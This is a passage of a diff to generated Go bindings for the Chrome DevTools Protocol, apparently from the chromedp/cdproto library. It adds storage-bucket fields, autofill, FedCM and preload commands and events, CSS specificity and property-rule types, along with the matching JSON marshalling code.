out.StorageBucket = nil
} else {
if out.StorageBucket == nil {
out.StorageBucket = new(storage.Bucket)
}
(*out.StorageBucket).UnmarshalEasyJSON(in)
}
default:
in.SkipRecursive()
}
@@ -586,6 +597,16 @@ func easyjsonC5a4559bEncodeGithubComChromedpCdprotoCachestorage5(out *jwriter.Wr
}
out.String(string(in.StorageKey))
}
if in.StorageBucket != nil {
const prefix string = ",\"storageBucket\":"
if first {
first = false
out.RawString(prefix[1:])
} else {
out.RawString(prefix)
}
(*in.StorageBucket).MarshalEasyJSON(out)
}
out.RawByte('}')
}
@@ -1118,6 +1139,16 @@ func easyjsonC5a4559bDecodeGithubComChromedpCdprotoCachestorage11(in *jlexer.Lex
out.SecurityOrigin = string(in.String())
case "storageKey":
out.StorageKey = string(in.String())
case "storageBucket":
if in.IsNull() {
in.Skip()
out.StorageBucket = nil
} else {
if out.StorageBucket == nil {
out.StorageBucket = new(storage.Bucket)
}
(*out.StorageBucket).UnmarshalEasyJSON(in)
}
case "cacheName":
out.CacheName = string(in.String())
default:
@@ -1149,6 +1180,11 @@ func easyjsonC5a4559bEncodeGithubComChromedpCdprotoCachestorage11(out *jwriter.W
out.RawString(prefix)
out.String(string(in.StorageKey))
}
if in.StorageBucket != nil {
const prefix string = ",\"storageBucket\":"
out.RawString(prefix)
(*in.StorageBucket).MarshalEasyJSON(out)
}
{
const prefix string = ",\"cacheName\":"
out.RawString(prefix)
+6 -4
View File
@@ -5,6 +5,7 @@ package cachestorage
import (
"fmt"
"github.com/chromedp/cdproto/storage"
"github.com/mailru/easyjson"
"github.com/mailru/easyjson/jlexer"
"github.com/mailru/easyjson/jwriter"
@@ -95,10 +96,11 @@ type DataEntry struct {
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/CacheStorage#type-Cache
type Cache struct {
CacheID CacheID `json:"cacheId"` // An opaque unique id of the cache.
SecurityOrigin string `json:"securityOrigin"` // Security origin of the cache.
StorageKey string `json:"storageKey"` // Storage key of the cache.
CacheName string `json:"cacheName"` // The name of the cache.
CacheID CacheID `json:"cacheId"` // An opaque unique id of the cache.
SecurityOrigin string `json:"securityOrigin"` // Security origin of the cache.
StorageKey string `json:"storageKey"` // Storage key of the cache.
StorageBucket *storage.Bucket `json:"storageBucket,omitempty"` // Storage bucket of the cache.
CacheName string `json:"cacheName"` // The name of the cache.
}
// Header [no description].
+34
View File
@@ -790,6 +790,40 @@ func (t *MonotonicTime) UnmarshalJSON(buf []byte) error {
return easyjson.Unmarshal(buf, t)
}
// TimeSinceEpochMilli special timestamp type for Response's responseTime
// field.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/Network#type-TimeSinceEpochMilli
type TimeSinceEpochMilli time.Time
// Time returns the TimeSinceEpochMilli as time.Time value.
func (t TimeSinceEpochMilli) Time() time.Time {
return time.Time(t)
}
// MarshalEasyJSON satisfies easyjson.Marshaler.
func (t TimeSinceEpochMilli) MarshalEasyJSON(out *jwriter.Writer) {
v := float64(time.Time(t).UnixNano() / int64(time.Millisecond))
out.Buffer.EnsureSpace(20)
out.Buffer.Buf = strconv.AppendFloat(out.Buffer.Buf, v, 'f', -1, 64)
}
// MarshalJSON satisfies json.Marshaler.
func (t TimeSinceEpochMilli) MarshalJSON() ([]byte, error) {
return easyjson.Marshal(t)
}
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
func (t *TimeSinceEpochMilli) UnmarshalEasyJSON(in *jlexer.Lexer) {
*t = TimeSinceEpochMilli(time.Unix(0, int64(in.Float64()*float64(time.Millisecond))))
}
// UnmarshalJSON satisfies json.Unmarshaler.
func (t *TimeSinceEpochMilli) UnmarshalJSON(buf []byte) error {
return easyjson.Unmarshal(buf, t)
}
// FrameID unique frame identifier.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/Page#type-FrameId
+122 -20
View File
@@ -15,6 +15,7 @@ import (
"github.com/chromedp/cdproto/accessibility"
"github.com/chromedp/cdproto/animation"
"github.com/chromedp/cdproto/audits"
"github.com/chromedp/cdproto/autofill"
"github.com/chromedp/cdproto/backgroundservice"
"github.com/chromedp/cdproto/browser"
"github.com/chromedp/cdproto/cachestorage"
@@ -31,6 +32,7 @@ import (
"github.com/chromedp/cdproto/domstorage"
"github.com/chromedp/cdproto/emulation"
"github.com/chromedp/cdproto/eventbreakpoints"
"github.com/chromedp/cdproto/fedcm"
"github.com/chromedp/cdproto/fetch"
"github.com/chromedp/cdproto/headlessexperimental"
"github.com/chromedp/cdproto/heapprofiler"
@@ -105,7 +107,13 @@ const (
CommandAuditsDisable = audits.CommandDisable
CommandAuditsEnable = audits.CommandEnable
CommandAuditsCheckContrast = audits.CommandCheckContrast
CommandAuditsCheckFormsIssues = audits.CommandCheckFormsIssues
EventAuditsIssueAdded = "Audits.issueAdded"
CommandAutofillTrigger = autofill.CommandTrigger
CommandAutofillSetAddresses = autofill.CommandSetAddresses
CommandAutofillDisable = autofill.CommandDisable
CommandAutofillEnable = autofill.CommandEnable
EventAutofillAddressFormFilled = "Autofill.addressFormFilled"
CommandBackgroundServiceStartObserving = backgroundservice.CommandStartObserving
CommandBackgroundServiceStopObserving = backgroundservice.CommandStopObserving
CommandBackgroundServiceSetRecording = backgroundservice.CommandSetRecording
@@ -129,6 +137,7 @@ const (
CommandBrowserSetWindowBounds = browser.CommandSetWindowBounds
CommandBrowserSetDockTile = browser.CommandSetDockTile
CommandBrowserExecuteBrowserCommand = browser.CommandExecuteBrowserCommand
CommandBrowserAddPrivacySandboxEnrollmentOverride = browser.CommandAddPrivacySandboxEnrollmentOverride
EventBrowserDownloadWillBegin = "Browser.downloadWillBegin"
EventBrowserDownloadProgress = "Browser.downloadProgress"
CommandCSSAddRule = css.CommandAddRule
@@ -148,6 +157,7 @@ const (
CommandCSSTrackComputedStyleUpdates = css.CommandTrackComputedStyleUpdates
CommandCSSTakeComputedStyleUpdates = css.CommandTakeComputedStyleUpdates
CommandCSSSetEffectivePropertyValueForNode = css.CommandSetEffectivePropertyValueForNode
CommandCSSSetPropertyRulePropertyName = css.CommandSetPropertyRulePropertyName
CommandCSSSetKeyframeKey = css.CommandSetKeyframeKey
CommandCSSSetMediaText = css.CommandSetMediaText
CommandCSSSetContainerQueryText = css.CommandSetContainerQueryText
@@ -241,12 +251,10 @@ const (
CommandDOMDebuggerGetEventListeners = domdebugger.CommandGetEventListeners
CommandDOMDebuggerRemoveDOMBreakpoint = domdebugger.CommandRemoveDOMBreakpoint
CommandDOMDebuggerRemoveEventListenerBreakpoint = domdebugger.CommandRemoveEventListenerBreakpoint
CommandDOMDebuggerRemoveInstrumentationBreakpoint = domdebugger.CommandRemoveInstrumentationBreakpoint
CommandDOMDebuggerRemoveXHRBreakpoint = domdebugger.CommandRemoveXHRBreakpoint
CommandDOMDebuggerSetBreakOnCSPViolation = domdebugger.CommandSetBreakOnCSPViolation
CommandDOMDebuggerSetDOMBreakpoint = domdebugger.CommandSetDOMBreakpoint
CommandDOMDebuggerSetEventListenerBreakpoint = domdebugger.CommandSetEventListenerBreakpoint
CommandDOMDebuggerSetInstrumentationBreakpoint = domdebugger.CommandSetInstrumentationBreakpoint
CommandDOMDebuggerSetXHRBreakpoint = domdebugger.CommandSetXHRBreakpoint
CommandDOMSnapshotDisable = domsnapshot.CommandDisable
CommandDOMSnapshotEnable = domsnapshot.CommandEnable
@@ -338,6 +346,14 @@ const (
EventEmulationVirtualTimeBudgetExpired = "Emulation.virtualTimeBudgetExpired"
CommandEventBreakpointsSetInstrumentationBreakpoint = eventbreakpoints.CommandSetInstrumentationBreakpoint
CommandEventBreakpointsRemoveInstrumentationBreakpoint = eventbreakpoints.CommandRemoveInstrumentationBreakpoint
CommandEventBreakpointsDisable = eventbreakpoints.CommandDisable
CommandFedCmEnable = fedcm.CommandEnable
CommandFedCmDisable = fedcm.CommandDisable
CommandFedCmSelectAccount = fedcm.CommandSelectAccount
CommandFedCmConfirmIdpLogin = fedcm.CommandConfirmIdpLogin
CommandFedCmDismissDialog = fedcm.CommandDismissDialog
CommandFedCmResetCooldown = fedcm.CommandResetCooldown
EventFedCmDialogShown = "FedCm.dialogShown"
CommandFetchDisable = fetch.CommandDisable
CommandFetchEnable = fetch.CommandEnable
CommandFetchFailRequest = fetch.CommandFailRequest
@@ -385,6 +401,7 @@ const (
CommandInputImeSetComposition = input.CommandImeSetComposition
CommandInputDispatchMouseEvent = input.CommandDispatchMouseEvent
CommandInputDispatchTouchEvent = input.CommandDispatchTouchEvent
CommandInputCancelDragging = input.CommandCancelDragging
CommandInputEmulateTouchFromMouseEvent = input.CommandEmulateTouchFromMouseEvent
CommandInputSetIgnoreInputEvents = input.CommandSetIgnoreInputEvents
CommandInputSetInterceptDrags = input.CommandSetInterceptDrags
@@ -563,6 +580,7 @@ const (
CommandPageGenerateTestReport = page.CommandGenerateTestReport
CommandPageWaitForDebugger = page.CommandWaitForDebugger
CommandPageSetInterceptFileChooserDialog = page.CommandSetInterceptFileChooserDialog
CommandPageSetPrerenderingAllowed = page.CommandSetPrerenderingAllowed
EventPageDomContentEventFired = "Page.domContentEventFired"
EventPageFileChooserOpened = "Page.fileChooserOpened"
EventPageFrameAttached = "Page.frameAttached"
@@ -579,9 +597,6 @@ const (
EventPageJavascriptDialogOpening = "Page.javascriptDialogOpening"
EventPageLifecycleEvent = "Page.lifecycleEvent"
EventPageBackForwardCacheNotUsed = "Page.backForwardCacheNotUsed"
EventPagePrerenderAttemptCompleted = "Page.prerenderAttemptCompleted"
EventPagePrefetchStatusUpdated = "Page.prefetchStatusUpdated"
EventPagePrerenderStatusUpdated = "Page.prerenderStatusUpdated"
EventPageLoadEventFired = "Page.loadEventFired"
EventPageNavigatedWithinDocument = "Page.navigatedWithinDocument"
EventPageScreencastFrame = "Page.screencastFrame"
@@ -598,6 +613,10 @@ const (
CommandPreloadDisable = preload.CommandDisable
EventPreloadRuleSetUpdated = "Preload.ruleSetUpdated"
EventPreloadRuleSetRemoved = "Preload.ruleSetRemoved"
EventPreloadPreloadEnabledStateUpdated = "Preload.preloadEnabledStateUpdated"
EventPreloadPrefetchStatusUpdated = "Preload.prefetchStatusUpdated"
EventPreloadPrerenderStatusUpdated = "Preload.prerenderStatusUpdated"
EventPreloadPreloadingAttemptSourcesUpdated = "Preload.preloadingAttemptSourcesUpdated"
CommandProfilerDisable = profiler.CommandDisable
CommandProfilerEnable = profiler.CommandEnable
CommandProfilerGetBestEffortCoverage = profiler.CommandGetBestEffortCoverage
@@ -687,12 +706,20 @@ const (
CommandStorageClearSharedStorageEntries = storage.CommandClearSharedStorageEntries
CommandStorageResetSharedStorageBudget = storage.CommandResetSharedStorageBudget
CommandStorageSetSharedStorageTracking = storage.CommandSetSharedStorageTracking
CommandStorageSetStorageBucketTracking = storage.CommandSetStorageBucketTracking
CommandStorageDeleteStorageBucket = storage.CommandDeleteStorageBucket
CommandStorageRunBounceTrackingMitigations = storage.CommandRunBounceTrackingMitigations
CommandStorageSetAttributionReportingLocalTestingMode = storage.CommandSetAttributionReportingLocalTestingMode
CommandStorageSetAttributionReportingTracking = storage.CommandSetAttributionReportingTracking
EventStorageCacheStorageContentUpdated = "Storage.cacheStorageContentUpdated"
EventStorageCacheStorageListUpdated = "Storage.cacheStorageListUpdated"
EventStorageIndexedDBContentUpdated = "Storage.indexedDBContentUpdated"
EventStorageIndexedDBListUpdated = "Storage.indexedDBListUpdated"
EventStorageInterestGroupAccessed = "Storage.interestGroupAccessed"
EventStorageSharedStorageAccessed = "Storage.sharedStorageAccessed"
EventStorageStorageBucketCreatedOrUpdated = "Storage.storageBucketCreatedOrUpdated"
EventStorageStorageBucketDeleted = "Storage.storageBucketDeleted"
EventStorageAttributionReportingSourceRegistered = "Storage.attributionReportingSourceRegistered"
CommandSystemInfoGetInfo = systeminfo.CommandGetInfo
CommandSystemInfoGetFeatureState = systeminfo.CommandGetFeatureState
CommandSystemInfoGetProcessInfo = systeminfo.CommandGetProcessInfo
@@ -873,9 +900,27 @@ func UnmarshalMessage(msg *Message) (interface{}, error) {
case CommandAuditsCheckContrast:
return emptyVal, nil
case CommandAuditsCheckFormsIssues:
v = new(audits.CheckFormsIssuesReturns)
case EventAuditsIssueAdded:
v = new(audits.EventIssueAdded)
case CommandAutofillTrigger:
return emptyVal, nil
case CommandAutofillSetAddresses:
return emptyVal, nil
case CommandAutofillDisable:
return emptyVal, nil
case CommandAutofillEnable:
return emptyVal, nil
case EventAutofillAddressFormFilled:
v = new(autofill.EventAddressFormFilled)
case CommandBackgroundServiceStartObserving:
return emptyVal, nil
@@ -945,6 +990,9 @@ func UnmarshalMessage(msg *Message) (interface{}, error) {
case CommandBrowserExecuteBrowserCommand:
return emptyVal, nil
case CommandBrowserAddPrivacySandboxEnrollmentOverride:
return emptyVal, nil
case EventBrowserDownloadWillBegin:
v = new(browser.EventDownloadWillBegin)
@@ -1002,6 +1050,9 @@ func UnmarshalMessage(msg *Message) (interface{}, error) {
case CommandCSSSetEffectivePropertyValueForNode:
return emptyVal, nil
case CommandCSSSetPropertyRulePropertyName:
v = new(css.SetPropertyRulePropertyNameReturns)
case CommandCSSSetKeyframeKey:
v = new(css.SetKeyframeKeyReturns)
@@ -1281,9 +1332,6 @@ func UnmarshalMessage(msg *Message) (interface{}, error) {
case CommandDOMDebuggerRemoveEventListenerBreakpoint:
return emptyVal, nil
case CommandDOMDebuggerRemoveInstrumentationBreakpoint:
return emptyVal, nil
case CommandDOMDebuggerRemoveXHRBreakpoint:
return emptyVal, nil
@@ -1296,9 +1344,6 @@ func UnmarshalMessage(msg *Message) (interface{}, error) {
case CommandDOMDebuggerSetEventListenerBreakpoint:
return emptyVal, nil
case CommandDOMDebuggerSetInstrumentationBreakpoint:
return emptyVal, nil
case CommandDOMDebuggerSetXHRBreakpoint:
return emptyVal, nil
@@ -1572,6 +1617,30 @@ func UnmarshalMessage(msg *Message) (interface{}, error) {
case CommandEventBreakpointsRemoveInstrumentationBreakpoint:
return emptyVal, nil
case CommandEventBreakpointsDisable:
return emptyVal, nil
case CommandFedCmEnable:
return emptyVal, nil
case CommandFedCmDisable:
return emptyVal, nil
case CommandFedCmSelectAccount:
return emptyVal, nil
case CommandFedCmConfirmIdpLogin:
return emptyVal, nil
case CommandFedCmDismissDialog:
return emptyVal, nil
case CommandFedCmResetCooldown:
return emptyVal, nil
case EventFedCmDialogShown:
v = new(fedcm.EventDialogShown)
case CommandFetchDisable:
return emptyVal, nil
@@ -1713,6 +1782,9 @@ func UnmarshalMessage(msg *Message) (interface{}, error) {
case CommandInputDispatchTouchEvent:
return emptyVal, nil
case CommandInputCancelDragging:
return emptyVal, nil
case CommandInputEmulateTouchFromMouseEvent:
return emptyVal, nil
@@ -2247,6 +2319,9 @@ func UnmarshalMessage(msg *Message) (interface{}, error) {
case CommandPageSetInterceptFileChooserDialog:
return emptyVal, nil
case CommandPageSetPrerenderingAllowed:
return emptyVal, nil
case EventPageDomContentEventFired:
v = new(page.EventDomContentEventFired)
@@ -2295,15 +2370,6 @@ func UnmarshalMessage(msg *Message) (interface{}, error) {
case EventPageBackForwardCacheNotUsed:
v = new(page.EventBackForwardCacheNotUsed)
case EventPagePrerenderAttemptCompleted:
v = new(page.EventPrerenderAttemptCompleted)
case EventPagePrefetchStatusUpdated:
v = new(page.EventPrefetchStatusUpdated)
case EventPagePrerenderStatusUpdated:
v = new(page.EventPrerenderStatusUpdated)
case EventPageLoadEventFired:
v = new(page.EventLoadEventFired)
@@ -2352,6 +2418,18 @@ func UnmarshalMessage(msg *Message) (interface{}, error) {
case EventPreloadRuleSetRemoved:
v = new(preload.EventRuleSetRemoved)
case EventPreloadPreloadEnabledStateUpdated:
v = new(preload.EventPreloadEnabledStateUpdated)
case EventPreloadPrefetchStatusUpdated:
v = new(preload.EventPrefetchStatusUpdated)
case EventPreloadPrerenderStatusUpdated:
v = new(preload.EventPrerenderStatusUpdated)
case EventPreloadPreloadingAttemptSourcesUpdated:
v = new(preload.EventPreloadingAttemptSourcesUpdated)
case CommandProfilerDisable:
return emptyVal, nil
@@ -2619,6 +2697,21 @@ func UnmarshalMessage(msg *Message) (interface{}, error) {
case CommandStorageSetSharedStorageTracking:
return emptyVal, nil
case CommandStorageSetStorageBucketTracking:
return emptyVal, nil
case CommandStorageDeleteStorageBucket:
return emptyVal, nil
case CommandStorageRunBounceTrackingMitigations:
v = new(storage.RunBounceTrackingMitigationsReturns)
case CommandStorageSetAttributionReportingLocalTestingMode:
return emptyVal, nil
case CommandStorageSetAttributionReportingTracking:
return emptyVal, nil
case EventStorageCacheStorageContentUpdated:
v = new(storage.EventCacheStorageContentUpdated)
@@ -2637,6 +2730,15 @@ func UnmarshalMessage(msg *Message) (interface{}, error) {
case EventStorageSharedStorageAccessed:
v = new(storage.EventSharedStorageAccessed)
case EventStorageStorageBucketCreatedOrUpdated:
v = new(storage.EventStorageBucketCreatedOrUpdated)
case EventStorageStorageBucketDeleted:
v = new(storage.EventStorageBucketDeleted)
case EventStorageAttributionReportingSourceRegistered:
v = new(storage.EventAttributionReportingSourceRegistered)
case CommandSystemInfoGetInfo:
v = new(systeminfo.GetInfoReturns)
+64 -11
View File
@@ -361,14 +361,17 @@ func GetMatchedStylesForNode(nodeID cdp.NodeID) *GetMatchedStylesForNodeParams {
// GetMatchedStylesForNodeReturns return values.
type GetMatchedStylesForNodeReturns struct {
InlineStyle *Style `json:"inlineStyle,omitempty"` // Inline style for the specified DOM node.
AttributesStyle *Style `json:"attributesStyle,omitempty"` // Attribute-defined element style (e.g. resulting from "width=20 height=100%").
MatchedCSSRules []*RuleMatch `json:"matchedCSSRules,omitempty"` // CSS rules matching this node, from all applicable stylesheets.
PseudoElements []*PseudoElementMatches `json:"pseudoElements,omitempty"` // Pseudo style matches for this node.
Inherited []*InheritedStyleEntry `json:"inherited,omitempty"` // A chain of inherited styles (from the immediate node parent up to the DOM tree root).
InheritedPseudoElements []*InheritedPseudoElementMatches `json:"inheritedPseudoElements,omitempty"` // A chain of inherited pseudo element styles (from the immediate node parent up to the DOM tree root).
CSSKeyframesRules []*KeyframesRule `json:"cssKeyframesRules,omitempty"` // A list of CSS keyframed animations matching this node.
ParentLayoutNodeID cdp.NodeID `json:"parentLayoutNodeId,omitempty"` // Id of the first parent element that does not have display: contents.
InlineStyle *Style `json:"inlineStyle,omitempty"` // Inline style for the specified DOM node.
AttributesStyle *Style `json:"attributesStyle,omitempty"` // Attribute-defined element style (e.g. resulting from "width=20 height=100%").
MatchedCSSRules []*RuleMatch `json:"matchedCSSRules,omitempty"` // CSS rules matching this node, from all applicable stylesheets.
PseudoElements []*PseudoElementMatches `json:"pseudoElements,omitempty"` // Pseudo style matches for this node.
Inherited []*InheritedStyleEntry `json:"inherited,omitempty"` // A chain of inherited styles (from the immediate node parent up to the DOM tree root).
InheritedPseudoElements []*InheritedPseudoElementMatches `json:"inheritedPseudoElements,omitempty"` // A chain of inherited pseudo element styles (from the immediate node parent up to the DOM tree root).
CSSKeyframesRules []*KeyframesRule `json:"cssKeyframesRules,omitempty"` // A list of CSS keyframed animations matching this node.
CSSPositionFallbackRules []*PositionFallbackRule `json:"cssPositionFallbackRules,omitempty"` // A list of CSS position fallbacks matching this node.
CSSPropertyRules []*PropertyRule `json:"cssPropertyRules,omitempty"` // A list of CSS at-property rules matching this node.
CSSPropertyRegistrations []*PropertyRegistration `json:"cssPropertyRegistrations,omitempty"` // A list of CSS property registrations matching this node.
ParentLayoutNodeID cdp.NodeID `json:"parentLayoutNodeId,omitempty"` // Id of the first parent element that does not have display: contents.
}
// Do executes CSS.getMatchedStylesForNode against the provided context.
@@ -382,16 +385,19 @@ type GetMatchedStylesForNodeReturns struct {
// inherited - A chain of inherited styles (from the immediate node parent up to the DOM tree root).
// inheritedPseudoElements - A chain of inherited pseudo element styles (from the immediate node parent up to the DOM tree root).
// cssKeyframesRules - A list of CSS keyframed animations matching this node.
// cssPositionFallbackRules - A list of CSS position fallbacks matching this node.
// cssPropertyRules - A list of CSS at-property rules matching this node.
// cssPropertyRegistrations - A list of CSS property registrations matching this node.
// parentLayoutNodeID - Id of the first parent element that does not have display: contents.
func (p *GetMatchedStylesForNodeParams) Do(ctx context.Context) (inlineStyle *Style, attributesStyle *Style, matchedCSSRules []*RuleMatch, pseudoElements []*PseudoElementMatches, inherited []*InheritedStyleEntry, inheritedPseudoElements []*InheritedPseudoElementMatches, cssKeyframesRules []*KeyframesRule, parentLayoutNodeID cdp.NodeID, err error) {
func (p *GetMatchedStylesForNodeParams) Do(ctx context.Context) (inlineStyle *Style, attributesStyle *Style, matchedCSSRules []*RuleMatch, pseudoElements []*PseudoElementMatches, inherited []*InheritedStyleEntry, inheritedPseudoElements []*InheritedPseudoElementMatches, cssKeyframesRules []*KeyframesRule, cssPositionFallbackRules []*PositionFallbackRule, cssPropertyRules []*PropertyRule, cssPropertyRegistrations []*PropertyRegistration, parentLayoutNodeID cdp.NodeID, err error) {
// execute
var res GetMatchedStylesForNodeReturns
err = cdp.Execute(ctx, CommandGetMatchedStylesForNode, p, &res)
if err != nil {
return nil, nil, nil, nil, nil, nil, nil, 0, err
return nil, nil, nil, nil, nil, nil, nil, nil, nil, nil, 0, err
}
return res.InlineStyle, res.AttributesStyle, res.MatchedCSSRules, res.PseudoElements, res.Inherited, res.InheritedPseudoElements, res.CSSKeyframesRules, res.ParentLayoutNodeID, nil
return res.InlineStyle, res.AttributesStyle, res.MatchedCSSRules, res.PseudoElements, res.Inherited, res.InheritedPseudoElements, res.CSSKeyframesRules, res.CSSPositionFallbackRules, res.CSSPropertyRules, res.CSSPropertyRegistrations, res.ParentLayoutNodeID, nil
}
// GetMediaQueriesParams returns all media queries parsed by the rendering
@@ -654,6 +660,52 @@ func (p *SetEffectivePropertyValueForNodeParams) Do(ctx context.Context) (err er
return cdp.Execute(ctx, CommandSetEffectivePropertyValueForNode, p, nil)
}
// SetPropertyRulePropertyNameParams modifies the property rule property
// name.
type SetPropertyRulePropertyNameParams struct {
StyleSheetID StyleSheetID `json:"styleSheetId"`
Range *SourceRange `json:"range"`
PropertyName string `json:"propertyName"`
}
// SetPropertyRulePropertyName modifies the property rule property name.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/CSS#method-setPropertyRulePropertyName
//
// parameters:
//
// styleSheetID
// range
// propertyName
func SetPropertyRulePropertyName(styleSheetID StyleSheetID, rangeVal *SourceRange, propertyName string) *SetPropertyRulePropertyNameParams {
return &SetPropertyRulePropertyNameParams{
StyleSheetID: styleSheetID,
Range: rangeVal,
PropertyName: propertyName,
}
}
// SetPropertyRulePropertyNameReturns return values.
type SetPropertyRulePropertyNameReturns struct {
PropertyName *Value `json:"propertyName,omitempty"` // The resulting key text after modification.
}
// Do executes CSS.setPropertyRulePropertyName against the provided context.
//
// returns:
//
// propertyName - The resulting key text after modification.
func (p *SetPropertyRulePropertyNameParams) Do(ctx context.Context) (propertyName *Value, err error) {
// execute
var res SetPropertyRulePropertyNameReturns
err = cdp.Execute(ctx, CommandSetPropertyRulePropertyName, p, &res)
if err != nil {
return nil, err
}
return res.PropertyName, nil
}
// SetKeyframeKeyParams modifies the keyframe rule key text.
type SetKeyframeKeyParams struct {
StyleSheetID StyleSheetID `json:"styleSheetId"`
@@ -1136,6 +1188,7 @@ const (
CommandTrackComputedStyleUpdates = "CSS.trackComputedStyleUpdates"
CommandTakeComputedStyleUpdates = "CSS.takeComputedStyleUpdates"
CommandSetEffectivePropertyValueForNode = "CSS.setEffectivePropertyValueForNode"
CommandSetPropertyRulePropertyName = "CSS.setPropertyRulePropertyName"
CommandSetKeyframeKey = "CSS.setKeyframeKey"
CommandSetMediaText = "CSS.setMediaText"
CommandSetContainerQueryText = "CSS.setContainerQueryText"
+1703 -759
View File
File diff suppressed because it is too large. Load diff
+130 -19
View File
@@ -114,8 +114,19 @@ type RuleMatch struct {
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/CSS#type-Value
type Value struct {
Text string `json:"text"` // Value text.
Range *SourceRange `json:"range,omitempty"` // Value range in the underlying resource (if available).
Text string `json:"text"` // Value text.
Range *SourceRange `json:"range,omitempty"` // Value range in the underlying resource (if available).
Specificity *Specificity `json:"specificity,omitempty"` // Specificity of the selector.
}
// Specificity specificity:
// https://drafts.csswg.org/selectors/#specificity-rules.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/CSS#type-Specificity
type Specificity struct {
A int64 `json:"a"` // The a component, which represents the number of ID selectors.
B int64 `json:"b"` // The b component, which represents the number of class selectors, attributes selectors, and pseudo-classes.
C int64 `json:"c"` // The c component, which represents the number of type selectors and pseudo-elements.
}
// SelectorList selector list data.
@@ -130,23 +141,24 @@ type SelectorList struct {
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/CSS#type-CSSStyleSheetHeader
type StyleSheetHeader struct {
StyleSheetID StyleSheetID `json:"styleSheetId"` // The stylesheet identifier.
FrameID cdp.FrameID `json:"frameId"` // Owner frame identifier.
SourceURL string `json:"sourceURL"` // Stylesheet resource URL. Empty if this is a constructed stylesheet created using new CSSStyleSheet() (but non-empty if this is a constructed sylesheet imported as a CSS module script).
SourceMapURL string `json:"sourceMapURL,omitempty"` // URL of source map associated with the stylesheet (if any).
Origin StyleSheetOrigin `json:"origin"` // Stylesheet origin.
Title string `json:"title"` // Stylesheet title.
OwnerNode cdp.BackendNodeID `json:"ownerNode,omitempty"` // The backend id for the owner node of the stylesheet.
Disabled bool `json:"disabled"` // Denotes whether the stylesheet is disabled.
HasSourceURL bool `json:"hasSourceURL,omitempty"` // Whether the sourceURL field value comes from the sourceURL comment.
IsInline bool `json:"isInline"` // Whether this stylesheet is created for STYLE tag by parser. This flag is not set for document.written STYLE tags.
IsMutable bool `json:"isMutable"` // Whether this stylesheet is mutable. Inline stylesheets become mutable after they have been modified via CSSOM API. <link> element's stylesheets become mutable only if DevTools modifies them. Constructed stylesheets (new CSSStyleSheet()) are mutable immediately after creation.
IsConstructed bool `json:"isConstructed"` // True if this stylesheet is created through new CSSStyleSheet() or imported as a CSS module script.
StartLine float64 `json:"startLine"` // Line offset of the stylesheet within the resource (zero based).
StartColumn float64 `json:"startColumn"` // Column offset of the stylesheet within the resource (zero based).
Length float64 `json:"length"` // Size of the content (in characters).
EndLine float64 `json:"endLine"` // Line offset of the end of the stylesheet within the resource (zero based).
EndColumn float64 `json:"endColumn"` // Column offset of the end of the stylesheet within the resource (zero based).
StyleSheetID StyleSheetID `json:"styleSheetId"` // The stylesheet identifier.
FrameID cdp.FrameID `json:"frameId"` // Owner frame identifier.
SourceURL string `json:"sourceURL"` // Stylesheet resource URL. Empty if this is a constructed stylesheet created using new CSSStyleSheet() (but non-empty if this is a constructed sylesheet imported as a CSS module script).
SourceMapURL string `json:"sourceMapURL,omitempty"` // URL of source map associated with the stylesheet (if any).
Origin StyleSheetOrigin `json:"origin"` // Stylesheet origin.
Title string `json:"title"` // Stylesheet title.
OwnerNode cdp.BackendNodeID `json:"ownerNode,omitempty"` // The backend id for the owner node of the stylesheet.
Disabled bool `json:"disabled"` // Denotes whether the stylesheet is disabled.
HasSourceURL bool `json:"hasSourceURL,omitempty"` // Whether the sourceURL field value comes from the sourceURL comment.
IsInline bool `json:"isInline"` // Whether this stylesheet is created for STYLE tag by parser. This flag is not set for document.written STYLE tags.
IsMutable bool `json:"isMutable"` // Whether this stylesheet is mutable. Inline stylesheets become mutable after they have been modified via CSSOM API. <link> element's stylesheets become mutable only if DevTools modifies them. Constructed stylesheets (new CSSStyleSheet()) are mutable immediately after creation.
IsConstructed bool `json:"isConstructed"` // True if this stylesheet is created through new CSSStyleSheet() or imported as a CSS module script.
StartLine float64 `json:"startLine"` // Line offset of the stylesheet within the resource (zero based).
StartColumn float64 `json:"startColumn"` // Column offset of the stylesheet within the resource (zero based).
Length float64 `json:"length"` // Size of the content (in characters).
EndLine float64 `json:"endLine"` // Line offset of the end of the stylesheet within the resource (zero based).
EndColumn float64 `json:"endColumn"` // Column offset of the end of the stylesheet within the resource (zero based).
LoadingFailed bool `json:"loadingFailed,omitempty"` // If the style sheet was loaded from a network resource, this indicates when the resource failed to load
}
// Rule CSS rule representation.
@@ -155,6 +167,7 @@ type StyleSheetHeader struct {
type Rule struct {
StyleSheetID StyleSheetID `json:"styleSheetId,omitempty"` // The css style sheet identifier (absent for user agent stylesheet and user-specified stylesheet rules) this rule came from.
SelectorList *SelectorList `json:"selectorList"` // Rule selector data.
NestingSelectors []string `json:"nestingSelectors,omitempty"` // Array of selectors from ancestor style rules, sorted by distance from the current rule.
Origin StyleSheetOrigin `json:"origin"` // Parent stylesheet's origin.
Style *Style `json:"style"` // Associated style declaration.
Media []*Media `json:"media,omitempty"` // Media list array (for rules involving media queries). The array enumerates media queries starting with the innermost one, going outwards.
@@ -162,6 +175,66 @@ type Rule struct {
Supports []*Supports `json:"supports,omitempty"` // @supports CSS at-rule array. The array enumerates @supports at-rules starting with the innermost one, going outwards.
Layers []*Layer `json:"layers,omitempty"` // Cascade layer array. Contains the layer hierarchy that this rule belongs to starting with the innermost layer and going outwards.
Scopes []*Scope `json:"scopes,omitempty"` // @scope CSS at-rule array. The array enumerates @scope at-rules starting with the innermost one, going outwards.
RuleTypes []RuleType `json:"ruleTypes,omitempty"` // The array keeps the types of ancestor CSSRules from the innermost going outwards.
}
// RuleType enum indicating the type of a CSS rule, used to represent the
// order of a style rule's ancestors. This list only contains rule types that
// are collected during the ancestor rule collection.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/CSS#type-CSSRuleType
type RuleType string
// String returns the RuleType as string value.
func (t RuleType) String() string {
return string(t)
}
// RuleType values.
const (
RuleTypeMediaRule RuleType = "MediaRule"
RuleTypeSupportsRule RuleType = "SupportsRule"
